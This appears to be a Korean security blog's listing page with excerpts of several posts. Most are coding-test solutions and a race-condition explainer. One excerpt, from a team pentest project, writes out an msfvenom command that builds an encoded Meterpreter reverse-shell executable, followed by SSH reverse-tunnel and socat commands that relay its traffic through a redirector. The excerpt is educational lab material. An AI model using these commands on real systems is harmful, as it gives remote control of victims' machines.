일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- BoB 12기
- DLL 사이드로딩
- 정보보안기사
- 코드엔진
- CodeEngn
- 필기
- 뮤텍스
- cve-2024-6387
- 논문리뷰
- 디포전 2급
- malware
- 디지털 포렌식 전문가 2급
- 세마포어
- BoB 12기 최종합격 후기
- Active Directory
- 디지털 포렌식 트랙
- bob
- 프로그래머스
- dll side-loading
- h4ckinggame
- race condition
- Best of the Best
- 정보기
- 리버싱
- 디포전
- cve-2022-26923
- Today
- Total
목록전체 글 (202)
SEO

본 시나리오와 실습은 금융보안아카데미 내 금붕어 아카데미 팀 프로젝트에서 진행하였습니다. 시나리오 기반 펜테스팅1. 공격 준비msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai 0i 5 -b '\x00' LHOST=[리다이렉터 IP] LPORT=80 -f exe > payload.exe리버스 쉘을 연결하는 Meterpreter 백도어를 생성하였습니다. ssh -i goldfish-redteam ubuntu@[EC2 IP] -R [EC2 아웃바운드 포트 번호]:127.0.0.1:[KALI 인바운드 포트 번호]HTTP 리다이렉터(EC2)의 2222 포트로 나가는 트래픽을 칼리의 4321 포트 전송합니다. sudo socat tcp-list..

최근 CS 지식과 기초 보안 개념을 다시 점검할 기회가 있었습니다.정말 부끄럽게도, 원리나 세부적인 내용을 깊이 있게 이해하지 못한 채 단순히 정의만 알고 있는 경우가 많았습니다.그동안 공부한 시간이 적지 않은데도 기본적인 개념조차 헷갈려하는 제 모습을 보며 반성 많이 했습니다. 하하아무튼! 앞으로 같은 실수를 반복하지 않기 위해 이제부터라도 관련 개념들을 제대로 정리해보려고 합니다..! Race Condition이란?여러 개의 스레드(또는 프로세스)가 공유 자원에 접근할 때 실행 순서에 따라 예상치 못한 결과가 발생하는 현상입니다. Race Condition 문제 상황현재 상황 : 은행 계좌에 100원의 잔고가 존재하며, 동시에 스레드 1과 2가 실행됨정상 동작 : 잔고 20원이 남아야 함스레드 1 :..

실패율 슈퍼 게임 개발자 오렐리는 큰 고민에 빠졌다. 그녀가 만든 프랜즈 오천성이 대성공을 거뒀지만, 요즘 신규 사용자의 수가 급감한 것이다. 원인은 신규 사용자와 기존 사용자 사이에 스테이지 차이가 너무 큰 것이 문제였다.이 문제를 어떻게 할까 고민 한 그녀는 동적으로 게임 시간을 늘려서 난이도를 조절하기로 했다. 역시 슈퍼 개발자라 대부분의 로직은 쉽게 구현했지만, 실패율을 구하는 부분에서 위기에 빠지고 말았다. 오렐리를 위해 실패율을 구하는 코드를 완성하라.실패율은 다음과 같이 정의한다.스테이지에 도달했으나 아직 클리어하지 못한 플레이어의 수 / 스테이지에 도달한 플레이어 수전체 스테이지의 개수 N, 게임을 이용하는 사용자가 현재 멈춰있는 스테이지의 번호가 담긴 배열 stages가 매개변수로 주어질..
문제 설명N진수 게임튜브가 활동하는 코딩 동아리에서는 전통적으로 해오는 게임이 있다. 이 게임은 여러 사람이 둥글게 앉아서 숫자를 하나씩 차례대로 말하는 게임인데, 규칙은 다음과 같다.숫자를 0부터 시작해서 차례대로 말한다. 첫 번째 사람은 0, 두 번째 사람은 1, … 열 번째 사람은 9를 말한다.10 이상의 숫자부터는 한 자리씩 끊어서 말한다. 즉 열한 번째 사람은 10의 첫 자리인 1, 열두 번째 사람은 둘째 자리인 0을 말한다.이렇게 게임을 진행할 경우,0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 0, 1, 1, 1, 2, 1, 3, 1, 4, …순으로 숫자를 말하면 된다.한편 코딩 동아리 일원들은 컴퓨터를 다루는 사람답게 이진수로 이 게임을 진행하기도 하는데, 이 경우에는0, 1,..

네오는 평소 프로도가 비상금을 숨겨놓는 장소를 알려줄 비밀지도를 손에 넣었다. 그런데 이 비밀지도는 숫자로 암호화되어 있어 위치를 확인하기 위해서는 암호를 해독해야 한다. 다행히 지도 암호를 해독할 방법을 적어놓은 메모도 함께 발견했다.지도는 한 변의 길이가 n인 정사각형 배열 형태로, 각 칸은 "공백"(" ") 또는 "벽"("#") 두 종류로 이루어져 있다.전체 지도는 두 장의 지도를 겹쳐서 얻을 수 있다. 각각 "지도 1"과 "지도 2"라고 하자. 지도 1 또는 지도 2 중 어느 하나라도 벽인 부분은 전체 지도에서도 벽이다. 지도 1과 지도 2에서 모두 공백인 부분은 전체 지도에서도 공백이다."지도 1"과 "지도 2"는 각각 정수 배열로 암호화되어 있다.암호화된 배열은 지도의 각 가로줄에서 벽 부분을..
문제 설명0과 1로 이루어진 어떤 문자열 x에 대한 이진 변환을 다음과 같이 정의합니다.x의 모든 0을 제거합니다.x의 길이를 c라고 하면, x를 "c를 2진법으로 표현한 문자열"로 바꿉니다.예를 들어, x = "0111010"이라면, x에 이진 변환을 가하면 x = "0111010" -> "1111" -> "100" 이 됩니다.0과 1로 이루어진 문자열 s가 매개변수로 주어집니다. s가 "1"이 될 때까지 계속해서 s에 이진 변환을 가했을 때, 이진 변환의 횟수와 변환 과정에서 제거된 모든 0의 개수를 각각 배열에 담아 return 하도록 solution 함수를 완성해주세요.제한사항s의 길이는 1 이상 150,000 이하입니다.s에는 '1'이 최소 하나 이상 포함되어 있습니다.입출력 예s result"..

문제 설명네오와 프로도가 숫자놀이를 하고 있습니다. 네오가 프로도에게 숫자를 건넬 때 일부 자릿수를 영단어로 바꾼 카드를 건네주면 프로도는 원래 숫자를 찾는 게임입니다.다음은 숫자의 일부 자릿수를 영단어로 바꾸는 예시입니다.1478 → "one4seveneight"234567 → "23four5six7"10203 → "1zerotwozero3"이렇게 숫자의 일부 자릿수가 영단어로 바뀌어졌거나, 혹은 바뀌지 않고 그대로인 문자열 s가 매개변수로 주어집니다. s가 의미하는 원래 숫자를 return 하도록 solution 함수를 완성해주세요.참고로 각 숫자에 대응되는 영단어는 다음 표와 같습니다.숫자 영단어0zero1one2two3three4four5five6six7seven8eight9nine제한사항1 ≤ ..
문제 설명0부터 9까지의 숫자 중 일부가 들어있는 정수 배열 numbers가 매개변수로 주어집니다. numbers에서 찾을 수 없는 0부터 9까지의 숫자를 모두 찾아 더한 수를 return 하도록 solution 함수를 완성해주세요.제한사항1 ≤ numbers의 길이 ≤ 90 ≤ numbers의 모든 원소 ≤ 9numbers의 모든 원소는 서로 다릅니다.입출력 예numbers result[1,2,3,4,6,7,8,0]14[5,8,4,0,6,7,9]6입출력 예 설명입출력 예 #15, 9가 numbers에 없으므로, 5 + 9 = 14를 return 해야 합니다.입출력 예 #21, 2, 3이 numbers에 없으므로, 1 + 2 + 3 = 6을 return 해야 합니다.def solution(numbers)..